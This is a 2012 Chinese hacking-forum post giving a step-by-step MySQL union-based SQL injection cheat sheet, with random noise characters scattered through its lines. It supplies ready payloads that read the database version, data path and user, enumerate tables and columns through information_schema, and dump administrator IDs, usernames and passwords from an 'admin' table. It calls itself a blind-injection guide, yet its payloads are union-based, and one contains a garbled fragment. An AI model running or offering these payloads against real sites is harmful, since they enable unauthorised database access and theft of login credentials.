找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1833|回复: 0
打印 上一主题 下一主题

mysql常规注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:48:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本文介绍MYSQL盲注的一些语句和方法* s: l+ C3 P* m* h0 [
# @  K3 y% A0 e/ y: C9 ?
学习盲注前先了解下 IFORMATION_SCHEMA 库- H4 H( o( `; t

; S! c5 x8 D3 b4 ZMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有* Z. L! Q" m1 @: x& Y
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
9 T- J6 a1 Q& H( c1.得到所有数据库名:& V1 k7 F$ }+ z7 g6 P5 I
|SCHEMATA ->存储数据库名的表
, C: K4 s+ U8 M$ H|---字段:SCHEMA_NAME ->数据库名称  ?, k% }, r; L' F+ N
5 m) ?. C: @; E* J, I
|TABLES ->存储表名5 ~7 g& l6 }- k6 [$ a1 @+ J
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名# @7 O& O+ F4 S) U, v8 j" Z
|---字段:TABLE_NAME ->存储表的表名
0 e* x7 t; [6 q0 }: w- a$ z( X% ?3 Q5 g3 k) D4 W( i2 m$ M
|COLUMNS ->存储的字段名表
! |" B% X* G, q/ V7 }|---字段:TABLE_SCHEMA ->该字段所属数据库名
; b  n' X5 x! N7 e% S|---字段:TABLE_NAME ->存储所属表的名称$ H) L  Y5 c- U1 _* D; C
) T/ x7 }0 |8 w4 m& `
|---字段:COLUMN_NAME ->该字段的名称
: R4 P7 f; t( s" ^9 v1 g8 f! t$ F1 Z" b$ ?9 G, T5 R

  i, j, a! F% j+ a+ U
, [+ o) K* Y; |* s& L7 B7 U###########################################################################$ ^1 p4 b! C. F: k: Q8 I
' c, t' k& `/ ?- |9 I
0x001 获取系统信息:- ?( \( Y2 U5 I& {
7 }3 W) r- i6 C: F- I
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*/ W  f3 [1 P$ b+ W5 E

. x* F  V5 u: K* |& ^/*
" M7 s1 X5 O$ [" a' ?; v  Z; y# z
@@global.version_compile_os 获取系统版本7 d* ^. f8 b; ]/ z

! r! T2 X& E& K: ~; P% d@@datadir 数据库路径% G1 K1 R' ~9 ^3 l' B: U
database() 当前数据库名称
: n5 t: K' A0 F9 |0x3c62723e 换行HEX值, k: \. {( n& \

# S1 r) V# f+ R; a0 p0 c*/$ K0 T# k+ A+ [# [

  B+ O2 l- }5 b% p6 s" M) G' h
8 E# D$ X2 @2 B: ]3 Q2 a' Z6 Q8 c4 w, e. b* |4 k& }- }
######################################################################8 C) W0 s: d8 X$ ]

# p8 u0 ~$ v3 t% M8 I0x002 获取表名' g  B3 v7 X& r1 l$ M0 W5 P0 t* t3 K

" @+ k( e$ r8 u3 J# N8 W, T& u# Lunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*2 J$ n5 c6 v# U8 M- B. q8 }# l; C

" h) f) d  y) m0 H1 O. ]
( P+ e/ q1 o4 ]7 ]2 {6 {
7 K& ], ?3 f! m3 R/*2 s/ E$ g; A3 a' ?# P

2 I. I3 s8 R' b8 g' ^3 x0x67617264656e 为当前数据库名/ E% R7 O2 x9 y( P6 u5 }" U& M& K2 b3 d

( r) G5 w3 A! dgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
; }0 i) b, X: r: b1 d! l) r# p* @' }: T7 w0 I5 `! t& h
*/9 J( p# ^. |0 j. ]9 h' W( F
% L6 C* ^9 a4 U) }! R
######################################################################
7 q  v2 M; a. R5 Q$ O" @' q
6 ]' t; I0 L1 W) F9 X* l $ k% M7 o1 K+ S# {( S+ U+ W
4 ], u9 b' H4 o( ^
0x003 获取字段
  [4 x2 o6 W5 f4 @  S" ^2 n% f$ K5 J
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
+ T( G% ^- C, @' c) k$ m% U/ `2 z+ v3 P0 B
/*+ y9 a7 h7 U3 I3 v
6 V5 v- Y& Y4 y* e8 C
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段3 D. R2 A9 L) k( B3 f

, [* V' D4 j5 U. _7 F( L& I0x61646d696e ->选择一个表2 S, G- u0 v4 I
- `) P" F" D7 j" N5 t
0x67617264656e ->数据库名8 E7 @; N% W4 O4 Y# E9 ~0 P

' R4 Y% _- c) ^6 ?- f7 q6 s*/$ _) z4 [3 L) N4 f  z) h8 k( ^, x

. G, e- }# W9 p- E7 v#####################################################################: s0 A, d7 t/ |) K$ M9 e" Q

9 i8 Q; O" n$ H4 A$ t7 V , [/ L' F7 F* Y2 N, d4 J5 u* W/ W9 a9 r

4 G( T: A3 S, m/ K0x004 获取数据- \3 J5 t4 f3 N' b
' q+ ^, D/ s# R% E
union select 1,2,3
" n: U) r  B* |: m7 I  N5 _,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin. R! m" s2 T! B4 V( j  C
  e5 `; t2 G% K6 b  \5 K
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin0 ^, ?9 x& ]! g3 i8 J# R7 Q# f1 H

5 X( D( D+ F! t- q1 [3 {$ T 4 s) N! {9 h  n
) M1 v+ l# V7 E" Z8 s( T- [0 u1 h% [
/*
* }6 Z% S5 t1 }
) u. @( ]; V+ D1 n: w( ^1 m0x3c62723e 换行符号HEX编码6 S2 f# y0 X- S
& h' [" l6 T6 }& d
group_concat 同时获得该字段所有数据
/ M0 \0 L) Y$ e/ u7 m( d* B# I
3 d3 R0 Q) H4 b9 F*/+ `$ H% t9 V' G) P( I% E1 b
: ~* @9 J3 p6 ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表